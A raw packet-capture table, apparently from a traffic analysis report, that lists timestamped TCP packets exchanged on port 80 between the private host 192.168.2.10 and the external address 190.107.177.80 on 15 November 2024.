Nov 15, 2024 09:10:07.411410093 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.411426067 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.411441088 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.411449909 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.411480904 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.411494017 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.411505938 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.411536932 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.411536932 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.411550045 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.411566973 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.411575079 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.411644936 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.442946911 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.442956924 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.442962885 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.442967892 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.443090916 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.443542957 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.443561077 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.443568945 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.443598032 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.443618059 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.443628073 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.443669081 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.443669081 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.443742037 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.443761110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.443768978 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.443779945 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.443800926 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.443823099 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.443840027 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.443856955 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.443903923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.443941116 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.443969011 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.443978071 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.444013119 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.444048882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.444060087 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.444072008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.444108963 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.444108963 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.444138050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.444149017 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.444180012 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.444307089 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.444317102 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.444344044 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.444381952 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.444413900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.444513083 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.444525003 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.444535017 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.444552898 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.444552898 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.451328993 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451487064 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451497078 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451507092 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.451518059 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451529026 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451540947 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451559067 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.451559067 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.451565981 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451575994 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451595068 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451646090 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451678038 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.451678038 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.451706886 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451716900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451746941 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.451883078 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451914072 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451987028 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.451997995 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452008963 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452024937 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.452024937 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.452049971 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452059031 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452131033 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452138901 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.452140093 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.452152014 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452191114 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452236891 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452248096 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452306032 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452313900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452337980 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.452337980 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.452337980 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.452450037 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452572107 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452580929 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452590942 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452600956 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452635050 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.452635050 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.452635050 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.452650070 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452699900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452709913 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452739000 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.452819109 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452828884 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452840090 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452851057 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452879906 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.452879906 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.452918053 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452927113 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.452960014 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.453119993 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.453177929 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.453188896 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.453222036 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.453222036 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.453293085 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.453303099 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.453315973 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.453327894 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.453401089 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.453401089 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.453442097 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.453453064 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.453464031 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.453480005 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.453490019 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.453572989 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.453613043 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.453613997 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.453613997 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.493803978 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.493865967 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.493876934 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.493918896 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.493932962 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.493948936 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.494268894 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.497526884 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.497570038 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.497579098 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.497589111 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.497600079 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.497633934 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.497654915 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.497664928 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.497703075 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.497720957 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.497733116 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.497759104 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.497776985 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.497785091 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.499291897 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.534964085 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.534975052 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.535059929 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.535104036 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.535114050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.535125017 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.535140991 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.535300970 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.535315990 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.535345078 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.535345078 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.535346031 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.535358906 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.535368919 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.535398006 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.566351891 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.566440105 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.566451073 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.566479921 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.566504955 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.566943884 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567070007 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567080975 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567092896 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567109108 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567143917 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.567154884 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567162037 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.567172050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567231894 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567241907 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567251921 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567267895 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.567269087 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.567310095 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567327976 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.567339897 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567362070 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567403078 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.567475080 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567485094 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567496061 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567579031 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567595005 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.567874908 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567897081 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567905903 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.567930937 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.567964077 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.568028927 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.568038940 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.568048954 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.568054914 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.568119049 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.568161011 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.568161011 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.568248987 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.568325996 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.568339109 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.574856997 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.574955940 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.574981928 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.574991941 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.574997902 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575073004 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.575201988 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575217009 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575227022 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575242996 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575256109 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575263023 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.575270891 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575282097 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575293064 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.575293064 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.575299978 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575310946 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575333118 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.575350046 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575368881 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.575438976 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575448990 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575459957 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575510025 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.575510025 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.575562954 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575572968 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575642109 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.575685978 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575743914 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575753927 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575864077 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575877905 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.575895071 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575906038 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575916052 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575954914 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.575954914 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.575977087 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.575985909 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576056957 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.576201916 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576211929 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576220989 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576291084 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.576291084 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.576303005 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576312065 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576324940 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576356888 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.576572895 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576586008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576598883 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576637983 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576644897 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.576644897 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.576674938 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576684952 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576697111 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576704979 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576714039 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.576729059 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.576896906 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576925993 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.576982975 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.577004910 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.577013969 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.577049017 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.577177048 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.577191114 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.577203035 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.577218056 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.577224970 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.577234983 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.577246904 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.577256918 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.577275038 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.617136002 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.617153883 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.617165089 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.617188931 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.617204905 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.617265940 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.617276907 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.617379904 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.620898962 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.620938063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.620948076 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.621023893 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.621042967 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.621071100 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.621082067 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.621102095 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.621162891 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.621179104 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.621190071 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.621201038 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.621241093 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.658416033 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.658441067 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.658452988 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.658483982 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.658513069 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.658545017 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.658555031 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.658615112 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.658658028 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.658668995 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.658766985 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.658777952 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.658787012 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.658806086 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.658835888 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.689594984 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.689659119 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.689670086 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.689682961 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.689706087 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.689755917 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.690362930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.690398932 CET	80	49705	190.107.177.80	192.168.2.10
